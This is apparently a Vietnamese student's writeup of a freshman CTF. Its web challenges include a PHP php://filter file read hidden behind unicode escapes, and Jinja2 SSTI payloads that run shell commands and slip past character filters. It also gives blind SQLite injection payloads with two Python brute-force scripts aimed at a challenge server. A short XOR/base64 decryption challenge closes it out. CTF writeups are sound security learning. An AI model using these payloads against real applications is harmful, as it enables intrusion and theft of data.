Post

Wannagame Freshman CTF writeup

WannaWinFreshman-Writeup

Bài 1 Warmup PHP:

image

  • Tóm tắt đề thì đại khái là đề bảo chúng ta phải POST data lên dưới dạng json có key là page và sau đó chương trình sẽ server sẽ decode ra và đọc file trong server
  • Sau khi phân tích và tìm kiếm trên mạng thì mình tìm được 1 bài viếtLINK image

  • Cơ bản là json_decode nó sẽ decode luôn mã unicode thành chữ cái vì vậy mình chỉnh lại cái payload của mình từ php://filter/convert.base64-encode/resource=/flag thành \u0070hp://filter/convert.base64-encode/resource=/flag image

  • Decode base64 và ra flag
  • Flag: W1{w3lc0m3_w3b_w4rrj0rs}

    Bài 2 Namename:

    image

  • Bài này cho 1 đường link và không cho thêm gì khác sau khi xem source của web này thì thấy có 1 đường dẫn là /wannaw1n image

  • Sau khi đi tới đường dẫn /wannaw1n mình nhận ra ngay đây là SSTI jinja2
  • Payload : {{().__class__.__base__.__subclasses__()[279]('ls',shell=1,stdout=-1).communicate()}}
  • Và nó bị chặn image

  • Sau vài thử nghiệm thì có vẽ nó chặn dấu .[] nên mình chuyển qua |attr

  • Payload mới: {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(279)('ls',shell=1,stdout=-1)|attr('communicate')()}}
  • Và nó đã hoạt động

image

  • Bây giờ sửa lại payload từ ls sang cat flag.txt image

  • Và nó vẫn bị chặn cái gì đấy nên mình sử dụng cách này bypass filter (chổ này là chặn dấu . và chữ f thì phải)
  • {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(279)('cat+*',shell=1,stdout=-1)|attr('communicate')()}}
  • Cách này sẽ đọc hết tất cả các file trong thư mục hiện tại và tìm được flag

image

  • Flag: W1{U_are_master_in_SSTI}

    Bài 3 Solite:

    image

  • Bài này mình khá tiếc vì mình đọc không kỉ filter nên mình không làm được
  • Tóm tắt đề thì bài này chỉ cho chúng ta cái page như thế này (blackbox)

image

  • Sau khi đọc code và được nghe 1 số gợi ý thì mình hiểu được đây là Blind SQL Injection
  • Nhìn kĩ source thì có 1 lỗ hổng cho chúng ta khai thác là substr không bị filter image

  • Đây là query của bài image

  • Sau một vài thử nghiệm thì mình tìm được cách để in ra tên của bảng
  • Payload: 1' and substr((select group_concat(tbl_name) FROM sqlite_master WHERE type is 'table' and tbl_name NOT like 'sqlite_%'),i,1) is 'a'--
  • Tóm tắt :
  • Payload này sau khi gửi lên server thì server sẽ thực hiện 1 query như sau SELECT * FROM API WHERE id LIKE '%1' and substr((select group_concat(tbl_name) FROM sqlite_master WHERE type is 'table' and tbl_name NOT like 'sqlite_%'),1,1) is 'a'--%'
  • select group_concat(tbl_name) FROM sqlite_master WHERE type is 'table' and tbl_name NOT like 'sqlite_%' sẽ trả về tên của tất cả các bảng
  • substr((select group_concat(tbl_name) FROM sqlite_master WHERE type is 'table' and tbl_name NOT like 'sqlite_%'),1,1) sẽ lấy 1 ký tự a bắt đầu từ vị trí i
  • 1' and substr((select group_concat(tbl_name) FROM sqlite_master WHERE type is 'table' and tbl_name NOT like 'sqlite_%'),1,1) is 'a'-- cái này sẽ so sánh ký tự mà substr vừa cắt ra nếu chính xác thì sẽ thực hiện lệnh đằng trước là SELECT * FROM API WHERE id LIKE '%1' và trả về cột id=1 nếu sai thì nó không thực hiện và chẳng trả về gì cả
  • Đây là script mình tìm tên của bảng
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import string,requests
from urllib.parse import quote

all_characters = string.ascii_letters + string.digits + "!#$%&()+,-/:<=>?@[]^_{}"
url = "http://45.122.249.68:20020/search?name[]="
payload="1' and substr((select group_concat(tbl_name) FROM sqlite_master WHERE type is 'table' and tbl_name NOT like 'sqlite_%'),1,1) is 'a'--"
table_name = ""
haha = 0
for i in range(1,10000):
    for ps in all_characters:
        payload ="1' and substr((select group_concat(tbl_name) FROM sqlite_master WHERE type is 'table' and tbl_name NOT like 'sqlite_%%'),%d,1) is '%c'--" %(i,ps)
        payload =  quote(payload)
        urlx = url + payload
        #print(urlx)
        r=requests.get(url=urlx)
        if "id" in r.text:
            table_name += ps
            print("Table names: ",table_name)
            haha +=1
    if haha < i:
        break
print("Success all the names of the tables are:",table_name)
  • Và tìm ra được tên của các bảng là image

Tables: API,flag_c1abd148_acae_40be_a953_eae333f90da0

  • Bây giờ dựa vào cái trên lấy ra flag từ bảng flag_c1abd148_acae_40be_a953_eae333f90da0 thôi
  • Script của mình
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import string,requests
from urllib.parse import quote

all_characters = string.ascii_letters + string.digits + "!#$%&()+,-/:<=>?@[]^_{}"
url = "http://45.122.249.68:20020/search?name[]="

table_name = "flag_c1abd148_acae_40be_a953_eae333f90da0"
#payload = "1' and substr((select flag from flag_c1abd148_acae_40be_a953_eae333f90da0),1,1) is 'a'--"
haha = 0
flag =""
for i in range(1,10000):
    for ps in all_characters:
        payload ="1' and substr((select flag from %s),%d,1) is '%c'--" %(table_name,i,ps)
        payload =  quote(payload)
        urlx = url + payload
        #print(urlx)
        r=requests.get(url=urlx)
        if "id" in r.text:
            flag += ps
            print("Flag is: ",flag)
            haha +=1
    if haha < i:
        break
print("Here is your flag:",flag)
  • Flag: W1{I_th1nk_u_r_so_lite^_^}

    Bài 4 Differences:

    image

  • Flag ngay ở trong file
  • Flag: W1{SaKur4_s0_b34uTiFuL_RI9ht?????}

    Bài 5 Free Flag:

    image

  • Đọc file pcapng ta tìm được source và key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64

BANNER = """ ___       __   ________  ________   ________   ________  ___       __     _____  ________      
|\  \     |\  \|\   __  \|\   ___  \|\   ___  \|\   __  \|\  \     |\  \  / __  \|\   ___  \    
\ \  \    \ \  \ \  \|\  \ \  \\\ \  \ \  \\\ \  \ \  \|\  \ \  \    \ \  \|\/_|\  \ \  \\\ \  \   
 \ \  \  __\ \  \ \   __  \ \  \\\ \  \ \  \\\ \  \ \   __  \ \  \  __\ \  \|/ \ \  \ \  \\\ \  \  
  \ \  \|\__\_\  \ \  \ \  \ \  \\\ \  \ \  \\\ \  \ \  \ \  \ \  \|\__\_\  \   \ \  \ \  \\\ \  \ 
   \ \____________\ \__\ \__\ \__\\\ \__\ \__\\\ \__\ \__\ \__\ \____________\   \ \__\ \__\\\ \__\\
    \|____________|\|__|\|__|\|__| \|__|\|__| \|__|\|__|\|__|\|____________|    \|__|\|__| \|__|
"""

KEY = bytes.fromhex('deadbeef')

def encryptSecret(secret):
    lst_byte = []
    for i in range(len(secret)):
        enc_byte = ord(secret[i]) ^ KEY[i % len(KEY)]
        lst_byte.append(enc_byte.to_bytes(1, 'big'))
    
    return base64.b64encode(b''.join([_ for _ in lst_byte])).decode()

if __name__=='__main__':
    print(BANNER)
    secret = input("> Please give me your secret: ")
    print("\n> Here is your encrypted secret:", encryptSecret(secret)

image

  • Decrypt lại ta sẽ có flag
1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

KEY = bytes.fromhex('deadbeef')

def decryptSecret(encrypted_secret):
    encrypted_bytes = base64.b64decode(encrypted_secret.encode())
    decrypted_bytes = [encrypted_bytes[i] ^ KEY[i % len(KEY)] for i in range(len(encrypted_bytes))]
    decrypted_text = ''.join([chr(byte) for byte in decrypted_bytes])
    return decrypted_text

secret = "iZzFsKme0oOdndOqgdnxsKmZ0KG/2o+hgdA="

print(decryptSecret(secret))
  • Flag: W1{w3llC0mE_tO_w4nNaw1N}
  • Mấy bài còn lại mình chưa biết làm do dark quá
This post is licensed under CC BY 4.0 by the author.